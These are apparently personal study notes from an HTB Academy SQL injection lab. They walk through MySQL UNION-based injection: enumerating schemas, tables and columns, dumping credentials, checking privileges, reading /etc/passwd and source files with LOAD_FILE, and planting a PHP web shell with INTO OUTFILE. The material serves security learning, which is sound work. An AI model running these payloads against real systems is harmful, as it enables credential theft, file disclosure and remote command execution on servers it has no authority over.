Database Enumeration

INFORMATION_SCHEMA Database

When using UNION SELECT to write a query we need the list of DB’s, tables within those DB’s, and the columns within those tables.

You can use dot notation to grab from another database.

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

The above query will show us the databases.

In order to inject this into the example we have been following then we would want to insert the following into the the search bar

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

NOTE: the final dash is to denote there is a space and should be removed

The above injection works by giving the site a value it wants cn' and closes the variable. We then do a UNION against INFORMATION_SCHEMA.SCHEMATA by doing dot notation to go to the INFORMATION_SCHEMATA DB and use the UNION clause against the SCHEMATA table. Since we Uses ORDER BY or UNION to test how many columns the first table returns we use select 1,schema_name,3,4 to then output all the DB’s that exist on the server.

We then want to figure out which DB this application is currently using and we can figure that out by the following.

cn' UNION select 1,database(),2,3-- -

Tables

Though we have the database names we still need the database tables.

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

by replacing our filler data for 2 and 3 with TABLE_NAME and TABLE_SCHEMA it gives us back the table name and DB they are part of. INFORMATION_SCHEMA.TABLES is the table that contains this data. where table_schema='dev' allows us to filter the query to just the DB we care about.

Columns

We can grab column information like we do below

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

I do not have to go too in detail on this. It would just be beating a dead horse at this moment. However, for me personally, whenever I play with databases I get easily lost in the abstract. Especially when it comes to columns and rows. STOP. THINK. I tend to try to move to fast.

Data

We can now grab the data we want doing the same dot notation.

cn' UNION select 1, username, password, 4 from dev.credentials-- -

Reading Files

In order to read files we need to know our privileges, in order to do that we need to know what user we are.

Find your user

SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

using the same example we woulkd inject this with the following

cn' UNION SELECT 1, user(), 3, 4-- -

or

cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -

Find your privileges

SELECT super_priv FROM mysql.user

we can do this via injection from the example we have been following

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -

if the query returns “Y” that means you have super privileges.

If we want to see what other privledges we have we can do the following query:

cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -

The below query will allow us to load the /etc/passwd file

SELECT LOAD_FILE('/etc/passwd');

example in an injection

cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4--

or we can even grab the code

cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -

Writing Files

To be able to write files to the back-end server using a MySQL database, we require three things:

  1. User with FILE privilege enabled
  2. MySQL global secure_file_priv variable not enabled
  3. Write access to the location we want to write to on the back-end server

If secure_file_priv is empty then we can read files from the entire system, if it has a certain directory then we can only read from that directory, if it is NULL this means we cannopt read/write from or to any directory.

MariaDB default is blank MySQL default is /var/lib/mysql-files

The following SQL is to see what our privileges are

SHOW VARIABLES LIKE 'secure_file_priv';

Since we are doing SQLi we need to find this out via a select statement like the following

SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"

An example with the lab we are using:

cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

Now that we know that we can edit files we can now dump the data into a file with the INTO OUTFILE statement

SELECT * from users INTO OUTFILE '/tmp/credentials';

a more advanced version would to be use FROM_BASE64("base64_data")

Webshell example

cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

once this is done you can go to <URL>/shell.php?0=<command url encoded>

— Break prove to help me understand what was going on

Did the HTB Academy - SQL Injection Fundamentals - Assessment Writeup for the remainder of the days learning.

SQLi SQLInjection mysql